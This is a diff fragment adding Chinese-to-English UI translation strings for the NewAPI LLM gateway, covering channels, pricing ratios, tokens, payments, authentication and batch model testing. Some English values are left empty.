+    "将大请求体临时存储到磁盘": "Store large request bodies temporarily on disk",
+    "将把当前编辑中的模型 {{name}} 的价格配置，批量应用到已勾选的 {{count}} 个模型。": "The pricing configuration of the currently edited model {{name}} will be applied to the {{count}} selected models.",
+    "将把当前编辑中的模型 {{name}} 的价格配置，批量应用到已勾选的 {{count}} 个模型。_one": "",
+    "将把当前编辑中的模型 {{name}} 的价格配置，批量应用到已勾选的 {{count}} 个模型。_other": "",
+    "将清除所有保存的配置并恢复默认设置，此操作不可撤销。是否继续？": "This will clear all saved configurations and restore default settings, this operation cannot be undone. Continue?",
+    "将清除选定时间之前的所有日志": "This will clear all logs before the selected time",
+    "将追加 2 条规则到现有规则列表。": "2 rules will be appended to the existing rule list.",
+    "小时": "Hour",
+    "小时费率": "Hourly Rate",
+    "尚未使用": "Not used yet",
+    "局部重绘-提交": "Vary Region",
+    "屏蔽词列表": "Sensitive word list",
+    "屏蔽词过滤设置": "Sensitive word filtering settings",
+    "展开": "Expand",
+    "展开更多": "Expand more",
+    "展示价格": "Display Pricing",
+    "嵌套映射：用户分组 → 使用分组 → 倍率": "Nested mapping: user group → using group → ratio",
+    "左侧边栏个人设置": "Personal settings in left sidebar",
+    "已为 {{count}} 个模型设置{{type}}_one": "Set {{type}} for {{count}} model",
+    "已为 {{count}} 个模型设置{{type}}_other": "Set {{type}} for {{count}} models",
+    "已为 ${count} 个渠道设置标签！": "Set tags for ${count} channels!",
+    "已从 Discovery 自动填充配置": "Configuration auto-filled from Discovery",
+    "已从 Discovery 获取配置，可继续手动修改所有字段。": "Configuration retrieved from Discovery. You can continue to manually modify all fields.",
+    "已作废": "Invalidated",
+    "已保存偏好为": "Saved preference: ",
+    "已修复 ${success} 个通道，失败 ${fails} 个通道。": "Fixed ${success} channels, failed ${fails} channels.",
+    "已停止": "Stopped",
+    "已停止批量测试": "Stopped batch testing",
+    "已关闭后续提醒": "Subsequent notifications turned off",
+    "已分配内存": "Allocated Memory",
+    "已切换为Assistant角色": "Switched to Assistant role",
+    "已切换为System角色": "Switched to System role",
+    "已切换至最优倍率视图，每个模型使用其最低倍率分组": "Switched to the optimal ratio view, each model uses its lowest ratio group",
+    "已初始化": "Initialized",
+    "已删除": "Deleted",
+    "已删除 {{count}} 个令牌！": "Deleted {{count}} tokens!",
+    "已删除 {{count}} 个令牌！_one": "Deleted {{count}} token!",
+    "已删除 {{count}} 个令牌！_other": "Deleted {{count}} tokens!",
+    "已删除 {{count}} 条失效兑换码_one": "Deleted {{count}} expired redemption code",
+    "已删除 {{count}} 条失效兑换码_other": "Deleted {{count}} expired redemption codes",
+    "已删除 ${data} 个通道！": "Deleted ${data} channels!",
+    "已删除所有禁用渠道，共计 ${data} 个": "Deleted all disabled channels, total ${data}",
+    "已删除消息及其回复": "Deleted message and its replies",
+    "已勾选": "Selected",
+    "已勾选 {{count}} 个模型": "{{count}} models selected",
+    "已勾选 {{count}} 个模型_one": "",
+    "已勾选 {{count}} 个模型_other": "",
+    "已发起支付": "Payment initiated",
+    "已发送到 Fluent": "Sent to Fluent",
+    "已取消 Passkey 注册": "Passkey registration cancelled",
+    "已同步到渠道": "Synced to Channel",
+    "已启用": "Enabled",
+    "已启用 Passkey，无需密码即可登录": "Passkey enabled, login without password",
+    "已启用所有密钥": "All keys have been enabled",
+    "已在自定义模式中忽略": "Ignored in custom mode",
+    "已填充提示模板": "Prompt template filled",
+    "已填充模版": "Template filled",
+    "已填充策略模板": "Policy template filled",
+    "已处理上游模型更新：加入 {{added}} 个，删除 {{removed}} 个，本次忽略 {{ignored}} 个，当前已忽略模型 {{totalIgnored}} 个": "",
+    "已备份": "Backed up",
+    "已复制": "Copied",
+    "已复制 ${count} 个模型": "Copied ${count} models",
+    "已复制 ID 到剪贴板": "ID copied to clipboard",
+    "已复制：": "Copied:",
+    "已复制：{{name}}": "Copied: {{name}}",
+    "已复制全部数据": "All data copied",
+    "已复制到剪切板": "Copied to clipboard",
+    "已复制到剪贴板": "Copied to clipboard",
+    "已复制到剪贴板！": "Copied to clipboard!",
+    "已复制字段：{{name}}": "Field copied: {{name}}",
+    "已复制模型名称": "Model name copied",
+    "已复制版本号": "Version copied",
+    "已复制自动生成的 API Key": "Auto-generated API Key copied",
+    "已完成": "Completed",
+    "已将模型 {{name}} 的价格配置批量应用到 {{count}} 个模型": "Applied the pricing configuration of model {{name}} to {{count}} models in batch",
+    "已将模型 {{name}} 的价格配置批量应用到 {{count}} 个模型_one": "",
+    "已将模型 {{name}} 的价格配置批量应用到 {{count}} 个模型_other": "",
+    "已开启全局请求透传：参数覆写、模型重定向、渠道适配等 NewAPI 内置功能将失效，非最佳实践；如因此产生问题，请勿提交 issue 反馈。": "Global request pass-through is enabled. Built-in NewAPI features such as parameter overrides, model redirection, and channel adaptation will be disabled. This is not a best practice. If this causes issues, please do not submit an issue.",
+    "已忽略模型": "",
+    "已成功开始测试所有已启用通道，请刷新页面查看结果。": "Successfully started testing all enabled channels. Please refresh page to view results.",
+    "已打开授权页面": "Authorization page opened",
+    "已打开支付页面": "Payment page opened",
+    "已批量处理上游模型更新：渠道 {{channels}} 个，加入 {{added}} 个，删除 {{removed}} 个，失败 {{fails}} 个": "",
+    "已提交": "Submitted",
+    "已支付金额": "Amount Paid",
+    "已新增 {{count}} 个模型：{{list}}_one": "Added {{count}} model: {{list}}",
+    "已新增 {{count}} 个模型：{{list}}_other": "Added {{count}} models: {{list}}",
+    "已更新完毕所有已启用通道余额！": "Updated quota for all enabled channels!",
+    "已有保存的配置": "There are saved configurations",
+    "已有模型": "Existing Models",
+    "已有的模型": "Existing models",
+    "已有账户？": "Already have an account?",
+    "已服务": "Served",
+    "已注销": "Logged out",
+    "已添加": "Added",
+    "已添加 {{count}} 个模板_one": "Added {{count}} template",
+    "已添加 {{count}} 个模板_other": "Added {{count}} templates",
+    "已添加到白名单": "Added to whitelist",
+    "已清理 {{count}} 个日志文件，释放 {{size}}": "Cleaned up {{count}} log files, freed {{size}}",
+    "已清理 {{count}} 个日志文件，释放 {{size}}_one": "",
+    "已清理 {{count}} 个日志文件，释放 {{size}}_other": "",
+    "已清空": "Cleared",
+    "已清空测试结果": "Cleared test results",
+    "已生成授权凭据": "Authorization credentials generated",
+    "已用": "Used",
+    "已用/剩余": "Used/Remaining",
+    "已用额度": "Quota used",
+    "已禁用": "Disabled",
+    "已禁用所有密钥": "Disabled all keys",
+    "已绑定": "Bound",
+    "已绑定渠道": "Bound channels",
+    "已结束": "Ended",
+    "已耗尽": "Exhausted",
+    "已解锁豆包自定义 API 地址编辑": "Custom Doubao API address editing unlocked",
+    "已设置": "Configured",
+    "已达上限": "Limit reached",
+    "已达到购买上限": "Purchase limit reached",
+    "已过期": "Expired",
+    "已运行时间": "Uptime",
+    "已选择 {{count}} 个模型_one": "Selected {{count}} model",
+    "已选择 {{count}} 个模型_other": "Selected {{count}} models",
+    "已选择 {{selected}} / {{total}}": "Selected {{selected}} / {{total}}",
+    "已选择 ${count} 个渠道": "Selected ${count} channels",
+    "已重置为默认配置": "Reset to default configuration",
+    "已销毁": "Destroyed",
+    "币种": "Currency",
+    "帐号信息": "",
+    "常用上下文 Key（用于 context_*）": "Common Context Keys (for context_*)",
+    "常见问答": "FAQ",
+    "常见问答管理，为用户提供常见问题的答案（最多50个，前端显示最新20条）": "FAQ management, providing answers to common questions for users (maximum 50, display latest 20 on the front end)",
+    "平台": "platform",
+    "平均RPM": "Average RPM",
+    "平均TPM": "Average TPM",
+    "平移": "Pan",
+    "年": "year",
+    "应付金额": "Amount Due",
+    "应用": "Apply",
+    "应用同步": "Apply synchronization",
+    "应用更改": "Apply changes",
+    "应用覆盖": "Apply overwrite",
+    "延长后总时长": "Total Duration After Extension",
+    "延长容器时长": "Extend Container Duration",
+    "延长容器时长将会产生额外费用，请确认您有足够的账户余额。": "Extending container duration will incur additional charges, please ensure you have sufficient account balance.",
+    "延长操作一旦确认无法撤销，费用将立即扣除。": "Once confirmed, the extension operation cannot be undone, and charges will be deducted immediately.",
+    "延长时长": "Extension Duration",
+    "延长时长（小时）": "Extension Duration (hours)",
+    "延长时长不能超过720小时（30天）": "Extension duration cannot exceed 720 hours (30 days)",
+    "延长时长失败": "Failed to extend duration",
+    "延长时长至少为1小时": "Extension duration must be at least 1 hour",
+    "建立连接时发生错误": "Error occurred while establishing connection",
+    "建议在生产环境中使用 MySQL 或 PostgreSQL 数据库，或确保 SQLite 数据库文件已映射到宿主机的持久化存储。": "It is recommended to use MySQL or PostgreSQL databases in production environments, or ensure that the SQLite database file is mapped to the persistent storage of the host machine.",
+    "开": "On",
+    "开启「默认使用 auto 分组」后，新建令牌和初始令牌都会自动设为 auto。": "After enabling \"Default to auto group\", new tokens and initial tokens will be set to auto.",
+    "开启之后会清除用户提示词中的": "After enabling, the user prompt will be cleared",
+    "开启之后将上游地址替换为服务器地址": "After enabling, the upstream address will be replaced with the server address",
+    "开启后，using_group 会参与 cache key（不同分组隔离）。": "When enabled, using_group will be part of the cache key (isolated by group).",
+    "开启后，仅\"消费\"和\"错误\"日志将记录您的客户端IP地址": "After enabling, only \"consumption\" and \"error\" logs will record your client IP address",
+    "开启后，对免费模型（倍率为0，或者价格为0）的模型也会预消耗额度": "After enabling, free models (ratio 0 or price 0) will also pre-consume quota",
+    "开启后，将定期发送ping数据保持连接活跃": "After enabling, ping data will be sent periodically to keep the connection active",
+    "开启后，当前分组渠道失败时会按顺序尝试下一个分组的渠道": "After enabling, when the current group channel fails, it will try the next group's channel in order",
+    "开启后，所有请求将直接透传给上游，不会进行任何处理（重定向和渠道适配也将失效）,请谨慎开启": "When enabled, all requests will be directly forwarded to the upstream without any processing (redirects and channel adaptation will also be disabled). Please enable with caution.",
+    "开启后，模型名称会参与 cache key（不同模型隔离）。": "When enabled, the model name is included in the cache key (isolates different models).",
+    "开启后，若该规则命中且请求失败，将不会切换渠道重试。": "When enabled, if this rule matches and the request fails, no channel switch retry will occur.",
+    "开启后，规则名称会参与 cache key（不同规则隔离）。": "When enabled, the rule name will be part of the cache key (isolated by rule).",
+    "开启后，该渠道请求 Claude 时将强制追加 ?beta=true（无需客户端手动传参）": "When enabled, requests to Claude through this channel will force append ?beta=true (no need for clients to pass this parameter manually)",
+    "开启后，违规请求将额外扣费。": "When enabled, violation requests will incur additional charges.",
+    "开启后不限制：必须设置模型倍率": "After enabling, no limit: must set model ratio",
+    "开启后创建令牌默认选择auto分组，初始令牌也将设为auto": "When enabled, new tokens default to auto group, initial tokens are also set to auto",
+    "开启后未登录用户无法访问模型广场": "When enabled, unauthenticated users cannot access the model marketplace",
+    "开启后检测到新增模型会自动加入当前渠道模型列表": "",
+    "开启后由后端定时任务检测该渠道上游模型变化": "",
+    "开启批量操作": "Enable batch selection",
+    "开始": "Start",
+    "开始同步": "Start sync",
+    "开始批量测试 ${count} 个模型，已清空上次结果...": "Starting batch test of ${count} models, cleared previous results...",
+    "开始时间": "start time",
+    "异常": "Abnormal",
+    "异步任务退款": "Async Task Refund",
+    "张图片": " images",
+    "弱变换": "High Variation",
+    "强制使用 AUTH LOGIN": "Force AUTH LOGIN",
+    "强制将响应格式化为 OpenAI 标准格式（只适用于OpenAI渠道类型）": "Force format responses to OpenAI standard format (Only for OpenAI channel types)",
+    "强制格式化": "Force format",
+    "强制要求": "Mandatory requirement",
+    "强变换": "Low Variation",
+    "当上游通道返回错误中包含这些关键词时（不区分大小写），自动禁用通道": "When the upstream channel returns an error containing these keywords (not case-sensitive), automatically disable the channel",
+    "当令牌分组设为 auto 时，系统按列表顺序依次选择可用分组。排在前面的优先级更高。": "When token group is set to auto, the system selects groups in list order. Groups listed first have higher priority.",
+    "当前 API 密钥已过期，请在设置中更新。": "Current API key has expired, please update it in settings.",
+    "当前 Ollama 版本为 ${version}": "Current Ollama version is ${version}",
+    "当前仅 OpenAI / Claude 语义支持缓存 token 统计，其他通道将隐藏 token 相关字段。": "Currently only OpenAI / Claude semantics support cached token statistics. Other channels will hide token-related fields.",
+    "当前余额": "Current balance",
+    "当前值": "Current value",
+    "当前值不是合法 JSON，无法格式化": "Current value is not valid JSON, cannot format",
+    "当前分组为 auto，会自动选择最优分组，当一个组不可用时自动降级到下一个组（熔断机制）": "The current group is auto, it will automatically select the optimal group, and automatically downgrade to the next group when a group is unavailable (breakage mechanism)",
+    "当前剩余": "Currently Remaining",
+    "当前参数覆盖不是合法的 JSON": "Current parameter override is not valid JSON",
+    "当前提示": "Current Notes",
+    "当前旧格式 JSON 不合法，无法追加模板": "Current legacy format JSON is invalid, cannot append template",
+    "当前旧格式不是 JSON 对象，无法追加模板": "Current legacy format is not a JSON object, cannot append template",
+    "当前时间": "Current time",
+    "当前未启用，需要时再打开即可。": "This field is currently disabled. Enable it when needed.",
+    "当前未开启Midjourney回调，部分项目可能无法获得绘图结果，可在运营设置中开启。": "Current Midjourney callback is not enabled, some projects may not be able to obtain drawing results, which can be enabled in the operation settings.",
+    "当前查看的分组为：{{group}}，倍率为：{{ratio}}": "Current group: {{group}}, ratio: {{ratio}}",
+    "当前模型列表为该标签下所有渠道模型列表最长的一个，并非所有渠道的并集，请注意可能导致某些渠道模型丢失。": "The current model list is the longest one among all channel model lists under this tag, not the union of all channels. Please note that this may cause some channel models to be lost.",
+    "当前模型同时存在按次价格和倍率配置，保存时会按当前计费方式覆盖。": "This model currently has both per-request pricing and ratio-based pricing. Saving will overwrite them according to the current billing mode.",
+    "当前模型存在未显式设置输入倍率的扩展倍率；填写输入价格后会自动换算为价格字段。": "This model has derived ratios without an explicit input ratio. Once you fill in the input price, they will be converted into price fields automatically.",
+    "当前没有未设置定价的模型": "There are currently no models without pricing",
+    "当前版本": "Current version",
+    "当前状态": "Current Status",
+    "当前缓存大小": "Current Cache Size",
+    "当前编辑": "Editing",
+    "当前规则不支持写入到该位置": "Current rule does not support writing to this location",
+    "当前规则未设置参数覆盖模板": "Current rule has no parameter override template set",
+    "当前计费": "Current billing",
+    "当前设备不支持 Passkey": "Passkey is not supported on this device",
+    "当前设置类型: ": "Current setting type: ",
+    "当前跟随系统": "Currently following system",
+    "当前配置无法连接到 io.net。": "Unable to connect to io.net with current configuration.",
+    "当前额度": "Current quota",
+    "当某个分组的用户使用另一个分组的令牌时，可设置特殊倍率覆盖基础倍率。例如：vip 分组的用户使用 default 分组时倍率为 0.5": "When a user in one group uses a token from another group, a special ratio can override the base ratio. E.g., vip users using default group get ratio 0.5",
+    "当模型没有设置价格时仍接受调用，仅当您信任该网站时使用，可能会产生高额费用": "Accept calls even if the model has no price settings, use only when you trust the website, which may incur high costs",
+    "当运行通道全部测试时，超过此时间将自动禁用通道": "When running all channel tests, the channel will be automatically disabled when this time is exceeded",
+    "当钱包或订阅剩余额度低于此数值时，系统将通过选择的方式发送通知": "When wallet or subscription remaining quota falls below this value, the system will send a notification through the selected method",
+    "待使用收益": "Proceeds to be used",
+    "待部署": "Pending Deployment",
+    "微信": "WeChat",
+    "微信公众号二维码图片链接": "WeChat Public Account QR Code Image Link",
+    "微信扫码关注公众号，输入「验证码」获取验证码（三分钟内有效）": "Scan WeChat QR code to follow official account, enter \"verification code\" to get code (valid for 3 minutes)",
+    "微信扫码登录": "WeChat scan code to log in",
+    "微信账户绑定成功！": "WeChat account bound successfully!",
+    "必填：请输入服务器地址以自动生成完整端点 URL": "Required: Enter server address to auto-generate full endpoint URLs",
+    "必填。对请求的 model 名称进行匹配，任意一条匹配即命中该规则。": "Required. Match the requested model name; any match triggers this rule.",
+    "必须全部满足（AND）": "All must be met (AND)",
+    "必须是有效的 JSON 字符串数组，例如：[\"g1\",\"g2\"]": "Must be a valid JSON string array, for example: [\"g1\",\"g2\"]",
+    "忘记密码？": "Forgot password?",
+    "快速开始": "Quick Start",
+    "快速选择": "Quick Select",
+    "忽略": "Ignore",
+    "思考中...": "Thinking...",
+    "思考内容转换": "Thinking content conversion",
+    "思考过程": "Thinking process",
+    "思考适配 BudgetTokens 百分比": "Thinking adaptation BudgetTokens percentage",
+    "思考预算占比": "Thinking budget ratio",
+    "性能指标": "Performance Indicators",
+    "性能监控": "Performance Monitor",
+    "性能设置": "Performance",
+    "总 GPU 小时": "Total GPU Hours",
+    "总价：文字价格 {{textPrice}} + 音频价格 {{audioPrice}} = {{symbol}}{{total}}": "Total price: text price {{textPrice}} + audio price {{audioPrice}} = {{symbol}}{{total}}",
+    "总分配内存": "Total Allocated Memory",
+    "总密钥数": "Total key count",
+    "总收益": "total revenue",
+    "总计": "Total",
+    "总额度": "Total quota",
+    "您可以个性化设置侧边栏的要显示功能": "You can customize the sidebar functions to display",
+    "您可以在上方拉取需要的模型": "You can pull the required models above",
+    "您无权访问此页面，请联系管理员": "You do not have permission to access this page. Please contact the administrator.",
+    "您正在使用 MySQL 数据库。MySQL 是一个可靠的关系型数据库管理系统，适合生产环境使用。": "You are using the MySQL database. MySQL is a reliable relational database management system, suitable for production environments.",
+    "您正在使用 PostgreSQL 数据库。PostgreSQL 是一个功能强大的开源关系型数据库系统，提供了出色的可靠性和数据完整性，适合生产环境使用。": "You are using the PostgreSQL database. PostgreSQL is a powerful open-source relational database system that provides excellent reliability and data integrity, suitable for production environments.",
+    "您正在使用 SQLite 数据库。如果您在容器环境中运行，请确保已正确设置数据库文件的持久化映射，否则容器重启后所有数据将丢失！": "You are using the SQLite database. If you are running in a container environment, please ensure that the database file persistence mapping is correctly set, otherwise all data will be lost after container restart!",
+    "您正在删除自己的帐户，将清空所有数据且不可恢复": "You are deleting your account. All data will be cleared and cannot be recovered.",
+    "您的数据将安全地存储在本地计算机上。所有配置、用户信息和使用记录都会自动保存，关闭应用后不会丢失。": "Your data will be securely stored on your local computer. All configurations, user information, and usage records will be automatically saved and will not be lost when the application is closed.",
+    "您确定要取消密码登录功能吗？这可能会影响用户的登录方式。": "Are you sure you want to disable the password login feature? This may affect users' login methods.",
+    "您需要先启用两步验证或 Passkey 才能执行此操作": "You need to enable two-factor authentication or Passkey before you can perform this operation",
+    "您需要先启用两步验证或 Passkey 才能查看敏感信息。": "You need to enable two-factor authentication or Passkey before you can view sensitive information.",
+    "想起来了？": "Remember?",
+    "成功": "Success",
+    "成功兑换额度：": "Successful redemption amount:",
+    "成功后切换亲和": "Switch Affinity on Success",
+    "成功时自动启用通道": "Enable channel when successful",
+    "我已了解禁用两步验证将永久删除所有相关设置和备用码，此操作不可撤销": "I have understood that disabling two-factor authentication will permanently delete all related settings and backup codes, this operation cannot be undone",
+    "我已阅读并同意": "I have read and agree to",
+    "我的订阅": "My Subscriptions",
+    "我确认开启高危重试": "I confirm enabling high-risk retry",
+    "或": "or",
+    "或其兼容new-api-worker格式的其他版本": "or other versions compatible with new-api-worker format",
+    "或手动输入密钥：": "Or manually enter the secret:",
+    "所有上游数据均可信": "All upstream data is reliable",
+    "所有密钥已复制到剪贴板": "All keys have been copied to the clipboard",
+    "所有用户": "All users",
+    "所有编辑均为覆盖操作，留空则不更改": "All edits are overwrite operations, leaving blank will not change",
+    "所选模板已存在": "Selected templates already exist",
+    "手动禁用": "Manually disabled",
+    "手动编辑": "Manual editing",
+    "手动输入": "Manual input",
+    "打开 CC Switch": "Open CC Switch",
+    "打开侧边栏": "Open sidebar",
+    "打开授权页面": "Open Authorization Page",
+    "扣费": "Charge",
+    "执行 GC": "Run GC",
+    "执行中": "processing",
+    "扩展价格": "Additional Pricing",
+    "扫描二维码": "Scan QR code",
+    "批量创建": "Batch Create",
+    "批量创建时会在名称后自动添加随机后缀": "When creating in batches, a random suffix will be automatically added to the name",
+    "批量创建模式下仅支持文件上传，不支持手动输入": "Batch creation mode only supports file upload, manual input is not supported",
+    "批量删除": "Batch Delete",
+    "批量删除令牌": "Batch delete token",
+    "批量删除失败": "Batch deletion failed",
+    "批量删除成功": "Batch deletion successful",
+    "批量删除模型": "Batch delete models",
+    "批量处理失败": "",
+    "批量应用当前模型价格": "Batch Apply Current Model Pricing",
+    "批量操作": "Batch Operations",
+    "批量操作失败": "Batch operation failed",
+    "批量操作完成: {{success}}个成功, {{failed}}个失败": "Batch operation completed: {{success}} succeeded, {{failed}} failed",
+    "批量检测失败": "",
+    "批量检测完成：渠道 {{channels}} 个，新增 {{add}} 个，删除 {{remove}} 个，失败 {{fails}} 个": "",
+    "批量测试${count}个模型": "Batch test ${count} models",
+    "批量测试完成！成功: ${success}, 失败: ${fail}, 总计: ${total}": "Batch testing completed! Success: ${success}, Fail: ${fail}, Total: ${total}",
+    "批量测试已停止": "Batch testing stopped",
+    "批量测试过程中发生错误: ": "An error occurred during batch testing: ",
+    "批量设置": "Batch Setting",
+    "批量设置成功": "Batch setting successful",
+    "批量设置标签": "Batch set tag",
+    "批量设置模型参数": "Batch Set Model Parameters",
+    "折": "% off",
+    "拉取中...": "Pulling...",
+    "拉取新模型": "Pull New Model",
+    "拉取模型": "Pull Model",
+    "拉取进度": "Pull Progress",
+    "拒绝提示模板（可选）": "Rejection Prompt Template (optional)",
+    "拦截原因": "Block Reason",
+    "按K显示单位": "Display in K",
+    "按价格设置": "Set by price",
+    "按倍率类型筛选": "Filter by ratio type",
+    "按倍率设置": "Set by ratio",
+    "按次": "Per request",
+    "按次 {{symbol}}{{price}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Per request {{symbol}}{{price}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "按次：{{symbol}}{{price}}": "Per request: {{symbol}}{{price}}",
+    "按次：{{symbol}}{{price}} * {{ratioType}}：{{ratio}} = {{symbol}}{{total}}": "Per request: {{symbol}}{{price}} * {{ratioType}}: {{ratio}} = {{symbol}}{{total}}",
+    "按次计费": "Pay per request",
+    "按照如下格式输入：AccessKey|SecretAccessKey|Region": "Enter in the format: AccessKey|SecretAccessKey|Region",
+    "按量计费": "Pay as you go",
+    "按量计费下需要先填写输入价格，才能保存其它价格项。": "For per-token billing, fill in the input price before saving other price fields.",
+    "按顺序替换content中的变量占位符": "Replace variable placeholders in content in order",
+    "换脸": "Face swap",
+    "授权，需在遵守": " and must be used in compliance with the ",
+    "授权失败": "Authorization failed",
+    "授权端点": "Authorization Endpoint",
+    "授权范围 (Scopes)": "Scopes",
+    "排序": "Sort Order",
+    "排队中": "Queuing",
+    "接受未设置价格模型": "Accept models without price settings",
+    "接口凭证": "Interface credentials",
+    "接口密钥已过期": "API key has expired",
+    "接收上游模型更新通知": "",
+    "控制台": "Console",
+    "控制台区域": "Console Area",
+    "控制输出的随机性和创造性": "Controls randomness and creativity of output",
+    "控制顶栏模块显示状态，全局生效": "Control header module display status, global effect",
+    "推荐": "Recommended",
+    "推荐：用户可以选择是否使用指纹等验证": "Recommended: Users can choose whether to use fingerprint verification",
+    "推荐使用（用户可选）": "Recommended (user optional)",
+    "描述": "Description",
+    "提交": "Submit",
+    "提交时间": "Submission time",
+    "提交结果": "Results",
+    "提供商名称": "Provider Name",
+    "提升": "Promote",
+    "提示": "Prompt",
+    "提示 {{input}} tokens / 1M tokens * {{symbol}}{{price}}": "Prompt {{input}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "提示 {{input}} tokens / 1M tokens * {{symbol}}{{price}} + 补全 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Prompt {{input}} tokens / 1M tokens * {{symbol}}{{price}} + Completion {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "提示 {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + 缓存 {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}} + 缓存创建 {{cacheCreationInput}} tokens / 1M tokens * {{symbol}}{{cacheCreationPrice}} + 补全 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Prompt {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + Cache {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}} + Cache creation {{cacheCreationInput}} tokens / 1M tokens * {{symbol}}{{cacheCreationPrice}} + Completion {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "提示：如需备份数据，只需复制上述目录即可": "Tip: To back up data, simply copy the directory above",
+    "提示：此处配置仅用于控制「模型广场」对用户的展示效果，不会影响模型的实际调用与路由。若需配置真实调用行为，请前往「渠道管理」进行设置。": "Notice: This configuration only affects how models are displayed in the Model Marketplace and does not impact actual model invocation or routing. To configure real invocation behavior, please go to Channel Management.",
+    "提示：端点映射仅用于模型广场展示，不会影响模型真实调用。如需配置真实调用，请前往「渠道管理」。": "Notice: Endpoint mapping is for Model Marketplace display only and does not affect real model invocation. To configure real invocation, please go to Channel Management.",
+    "提示：该功能为测试版，未来配置结构与功能行为可能发生变更，请勿在生产环境使用。": "Notice: This feature is beta. The configuration structure and behavior may change in the future. Do not use in production.",
+    "提示：语言偏好会同步到您登录的所有设备，并影响API返回的错误消息语言。": "Note: Language preference syncs across all your logged-in devices and affects the language of API error messages.",
+    "提示：链接中的{key}将被替换为API密钥，{address}将被替换为服务器地址": "Tip: {key} in the link will be replaced with the API key, {address} will be replaced with the server address",
+    "提示价格：{{symbol}}{{price}} / 1M tokens": "Prompt price: {{symbol}}{{price}} / 1M tokens",
+    "提示缓存倍率": "Prompt cache ratio",
+    "搜索供应商": "Search vendor",
+    "搜索关键字": "Search keywords",
+    "搜索失败": "Search failed",
+    "搜索字段名 / 中文说明": "Search field name / description",
+    "搜索无结果": "No results found",
+    "搜索日志内容": "Search log content",
+    "搜索条件": "Search Conditions",
+    "搜索模型": "Search models",
+    "搜索模型...": "Search models...",
+    "搜索模型名称": "Search model name",
+    "搜索模型失败": "Search model failed",
+    "搜索渠道名称或地址": "Search channel name or address",
+    "搜索聊天应用名称": "Search chat app name",
+    "搜索规则（描述 / 类型 / 路径 / 来源 / 目标）": "",
+    "搜索规则（类型 / 路径 / 来源 / 目标）": "Search rules (type / path / source / target)",
+    "搜索部署名称": "Search deployment name",
+    "操作": "Actions",
+    "操作失败": "Operation failed",
+    "操作失败，请重试": "Operation failed, please retry",
+    "操作成功完成！": "Operation completed successfully!",
+    "操作暂时被禁用": "Operation temporarily disabled",
+    "操作确认": "Operation confirmation",
+    "操作管理员": "Operator Admin",
+    "操作类型": "Operation Type",
+    "操练场": "Playground",
+    "操练场和聊天功能": "Playground and chat functions",
+    "支付": "Pay",
+    "支付地址": "Payment address",
+    "支付失败": "Payment failed",
+    "支付完成后用户跳转的页面，留空则自动使用 服务器地址 + /console/topup": "",
+    "支付宝": "Alipay",
+    "支付方式": "Payment method",
+    "支付方式名称": "Pay Method Name",
+    "支付方式名称不能为空": "",
+    "支付方式类型": "Pay Method Type",
+    "支付渠道": "Payment Channels",
+    "支付设置": "Payment",
+    "支付请求失败": "Payment request failed",
+    "支付返回地址": "Return URL",
+    "支付金额": "Payment Amount",
+    "支持 Ctrl+V 粘贴图片": "Supports Ctrl+V to paste images",
+    "支持 JSONPath，如 email, data.user.email": "Supports JSONPath, e.g. email, data.user.email",
+    "支持 JSONPath，如 name, display_name, data.user.name": "Supports JSONPath, e.g. name, display_name, data.user.name",
+    "支持 JSONPath，如 preferred_username, login, data.user.username": "Supports JSONPath, e.g. preferred_username, login, data.user.username",
+    "支持 JSONPath，如 sub, id, data.user.id": "Supports JSONPath, e.g. sub, id, data.user.id",
+    "支持6位TOTP验证码或8位备用码，可到`个人设置-安全设置-两步验证设置`配置或查看。": "Supports 6-digit TOTP verification code or 8-digit backup code, can be configured or viewed in `Personal Settings - Security Settings - Two-Factor Authentication Settings`.",
+    "支持CIDR格式，如：8.8.8.8, 192.168.1.0/24": "Supports CIDR format, e.g.: 8.8.8.8, 192.168.1.0/24",
+    "支持HTTP和HTTPS，填写Gotify服务器的完整URL地址": "Supports HTTP and HTTPS, enter the complete URL of the Gotify server",
+    "支持HTTP和HTTPS，模板变量: {{title}} (通知标题), {{content}} (通知内容)": "Supports HTTP and HTTPS, template variables: {{title}} (notification title), {{content}} (notification content)",
+    "支持众多的大模型供应商": "Supporting various LLM providers",
+    "支持单个端口和端口范围，如：80, 443, 8000-8999": "Supports single ports and port ranges, e.g.: 80, 443, 8000-8999",
+    "支持变量：": "Supported variables:",
+    "支持周期性重置套餐权益额度": "Supports periodic reset of plan quota",
+    "支持填写单个状态码或范围（含首尾），使用逗号分隔": "Supports single status codes or inclusive ranges; separate with commas",
+    "支持填写单个状态码或范围（含首尾），使用逗号分隔；504 和 524 始终不重试，不受此处配置影响": "Supports single status codes or inclusive ranges; separate with commas. 504 and 524 are never retried and are not affected by this setting",
+    "支持备份": "Supported",
+    "支持拉取 Ollama 官方模型库中的所有模型，拉取过程可能需要几分钟时间": "Supports pulling all models from the Ollama official model library, the pulling process may take a few minutes",
+    "支持搜索用户的 ID、用户名、显示名称和邮箱地址": "Support searching for user ID, username, display name, and email address",
+    "支持的图像模型": "Supported image models",
+    "支持精确匹配；使用 regex: 开头可按正则匹配。": "Supports exact matching. Use a regex: prefix for regex matching.",
+    "支持通配符格式，如：example.com, *.api.example.com": "Supports wildcard format, e.g.: example.com, *.api.example.com",
+    "支持逻辑 and/or 与嵌套 groups；操作符支持 eq/ne/gt/gte/lt/lte/in/not_in/contains/exists": "Supports logical and/or with nested groups; operators include eq/ne/gt/gte/lt/lte/in/not_in/contains/exists",
+    "收益": "Earnings",
+    "收益统计": "Income statistics",
+    "收起": "Collapse",
+    "收起侧边栏": "Collapse sidebar",
+    "收起内容": "Collapse content",
+    "收起原生额度输入": "Hide raw quota input",
+    "放大": "Upscalers",
+    "放大编辑": "Expand editor",
